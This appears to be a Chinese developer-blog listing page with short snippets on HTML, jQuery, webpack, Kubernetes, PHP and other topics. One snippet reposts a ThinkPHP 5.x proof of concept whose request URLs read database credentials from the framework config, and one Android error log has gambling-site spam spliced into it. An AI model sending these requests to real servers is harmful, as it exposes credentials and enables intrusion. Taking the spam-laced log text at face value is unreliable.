Web开发

HTML_from

03-13
<form> <!-- 默认为text:明文显示 --> <input type="text" name=""> <br> <!-- 换行 --> <!-- password:密文输入框 --> <input type="password" name=""> </form> <!-- value:设置默认的输入框文本 --&g

jQuery简易教程

03-12
jQuery jQuery基础 1.简介 jQuery是一个JavaScript框架.能够简化JS开发 封装了js的原生代码,本质上还是js文件. 2.快速入门 jQuery版本选择 目前jQuery有三个大版本: 1.x:兼容ie678,使用最为广泛的,官方只做BUG维护,功能不再新增.因此一般项目来说,使用1.x版本就可以了, 2.x:不兼容ie678,很少有人使用,官方只做BUG维护,功能不再新增.如果不考虑兼容低版本的浏览器可以使用2.x, 3.x:不兼容ie678,只支持最新的浏览器.

从零开始webpack4.x(四)样式loader

03-12
样式loader 依赖:style-loader css-loader 如果有less sass下载对应依赖 module: { // 模块 rules: [ // 规则 css-loader 解析@import 这种语法 // style-loader 把css 插入到head标签中 // loader的特点 希望单一 // loader用法 字符串只用一个loader // 多个loader用 [] // loader执行顺序是 默认从右到左 从下到上 // loader还可以写成对象 可以

Thinkphp V5.X 远程代码执行漏洞 - POC(搬运)

03-12
文章来源:lsh4ck's Blog 原文链接: https://www.77169.com/html/237165.html Thinkphp 5.0.22   http://192.168.1.1/thinkphp/public/?s=.|think\config/get&name=database.username http://192.168.1.1/thinkphp/public/?s=.|think\config/get&name=database.password http:

国内镜像网站

03-11
国内优秀的开源镜像站: 1.中国大陆开源镜像站汇总,企业贡献: 阿里云:http://mirrors.aliyun.com/ 搜狐开源镜像站:http://mirrors.sohu.com/ 网易开源镜像站:http://mirrors.163.com/ 2.大学教学: 中国科学技术大学: http://mirrors.ustc.edu.cn/ (IPv4+IPv6) http://mirrors4.ustc.edu.cn/ http://mirrors6.ustc.edu.cn/ 清华大学:

.Net 获取视频封面

03-10
做项目过程中有需求需要在上传视频的时候获取视频的封面,可以通过ffmpeg这个exe文件给上传的视频抽帧.具体代码如下: string videoPath = Request.Form["videoPath"]; string uploadPath = AppSettingUtil.AppSettings["UploadFilePath"]; string videoFilePath = Server.MapPath("~/" + uploadP

php 中 self 和 static 的区别

03-10
php 中 self 和 static 的区别 class Foo { public static $str = 'This is foo'; public static function show() { echo __METHOD__ . PHP_EOL; echo static::$str; } } class Boo extends Foo { public static $str = 'This is boo'; } Boo::show(); # 输出结果 # Foo::show #

unittest--生成HTML测试报告

03-10
前戏 在做自动化的时候,最后我们总要出一个测试报告给领导看,HTMLTestRunner可以生成HTML的测试报告 将HTMLTestRunner放在python的lib目录下 可以在lib下新建个HTMLTestRunner.py的文件,把下面的代码复制过去 """ A TestRunner for use with the Python unit testing framework. It generates a HTML report to show the resul

JpaRepository 和JpaSpecificationExecutor

03-10
JpaRepository继承自PagingAndSortingRepository接口,JpaRepository基于JPA的Repository接口,极大减少了JPA作为数据访问的代码,JpaRepository是实现Spring Data JPA技术访问数据库的关键接口. JpaSpecificationExecutor     JpaSpecificationExecutor接口不能够单独使用,需要和其他接口一块使用 https://cloud.tencent.com/developer

Exploiting Edge Features in Graph Neural Networks

03-09
介绍 现如今图神经网络取得了很大进展,最典型的两个模型是GCN模型和GAT模型,然而现有的图神经模型仍然存在以下两个问题: 边特征未被有效考虑.比如GAT只考虑两个节点之间是否有边(binary indicator),GCN的边特征只能是一个实数(one-dimensional real value),通常表示权重 GAT和GCN在每一层都基于最开始输入的邻接矩阵进行节点特征过滤,而原始的邻接矩阵可能是有噪声,不是最佳的 因此,这篇文章提出一个新的学习框架来增强GCN和GAT,具体的创新点可以概

记一次莫名其妙的报错亚博体育 Failed resolution of: Lorg/apache/http/params

03-09
2019-04-25  亚博体育 (yb5.io)11:11:49 App Version: 1.0.7_7 OS Version: 9_28 Vendor: OPPO Model: PCAM00 CPU ABI: armeabi-v7ajava.lang.NoClassDefFoundError: Failed resolution of: Lorg/apache/http/params/BasicHttpParams;     atcom.esri.core.internal.io.hand

Kubenete study notes (Replication Controller)

03-08
Replication controller: ReplicationController schedules pod to one work node, kubelet application in node pulls image and create containers.Pod started by "kubectl run" is not created directly. ReplicationController is created by command and rep

3d模型一般怎么导入到到Threejs中使用

03-08
这是我之前做的一个demo,导入的3d模型文件是obj格式的,需要使用OBJLoader和MTLLoader, mtl文件用于描述多边形可视面貌的材质如果你可以导出obj.mtl文件的话,那么就可以使用下面的代码把3d模型添加到three.js构建的场景里了 function loadBuild() { var loader = new THREE.OBJLoader(); var mtlLoader = new THREE.MTLLoader(); mtlLoader.setPath( "ci

Kubenete study notes (POD)

03-08
Pod Definition: Create pod by definition: kubectl create -f [filename]Display pod definition: kubectl get po [pod name] -o yaml/jsonGetting log: kubectl logs [pod name] -c [container name] Port forwarding: kubectl port-forward [pod name] [localport]:

json_encode返回的中文乱码,解析不出

03-08
json_encode返回的中文乱码,解析不出,json_encode里面加个参数就行了 json_encode($data,JSON_UNESCAPED_UNICODE); 原文地址:https://www.cnblogs.com/yehuisir/p/12446009.html

Citrix ADC(原NetScaler)CVE-2019-19781漏洞修复

03-08
去年思杰Ctirix ADC(原NetScaler)爆发出安全漏洞,目前该漏洞已经修复,需要将固件版本修复到以下版本解决 本文以升级到12.1.55.18为例1.下载固件版本2.使用winscp进行上传,上传过程略3.使用解压命令 tar -zxvf build-12.1-55.18_nc_64.tgz 4.在当前目录下输入安装命令 ./insallns 5.安装完成后,按下Y,然后回车重启ADC6.重启完成后,打开首页查看版本 结论:修复完成后所有的配置都在,以上是单机的升级情况.官方原KB介

第三周----html基础学习

03-08
主要是记录自己从基础开始扎实学习html的过程,这周是第一周,下面是我实现的几个实例,主要还是比较基础的东西通过整理一遍的方式来巩固一下自己 首先就是超链接 <a href="熨斗林佳鹏.html" target="_blank">灿坤蒸汽电熨斗</a> 这样就可以通过点击这句话跳转到另外一个html,target属性则可以让这个被链接的东西在何处显示 然后是多层次显示,通过不同的标题实现 <!DOCTYPE html> <

[FAQ] JS 实现暂停(睡眠) Sleep 与 倒计时 ?

03-08
想要暂停/睡眠一秒,可以参考使用以下方式: async () => { await (new Promise((resolve) => setTimeout(resolve, 1000))) } 如果是倒计时,那么只需要把 sleep 可以放在 while 循环里,满足指定条件后再 break 退出循环. async () => { while (true) { if (xx) { break; } await (new Promise((resolve) => setTimeou

php之yii2简单redis锁限制

03-08
yii2框架简单加锁锁定本次任务没执行完之前不允许再请求本次方法,注意这只是简单实现能应对几乎所有并发场景,但是对并发有绝对要求的还是要用队列加异步处理去实现. $key='redis_key_name:'.'订单id或其他本次锁的唯一值'; //判断不是空直接中断本次操作 if(!empty(Yii::$app->redis->get($key))){ //随便你们return或其他友好输出,下面的输出只是个人示例 throw new Exception(-10007, "红包领取

CSS-transition简单过渡动画

03-08
实现视频弹窗从上到下滑入: .video { transition: all .8s; &.slide { top:50%; opacity: 1; } position: fixed; top: -50%; left: 50%; transform: translate(-50%,-50%); z-index: 10; width: 1000px; height: 536px; opacity: 0; } <div class="video-bg" @click=&qu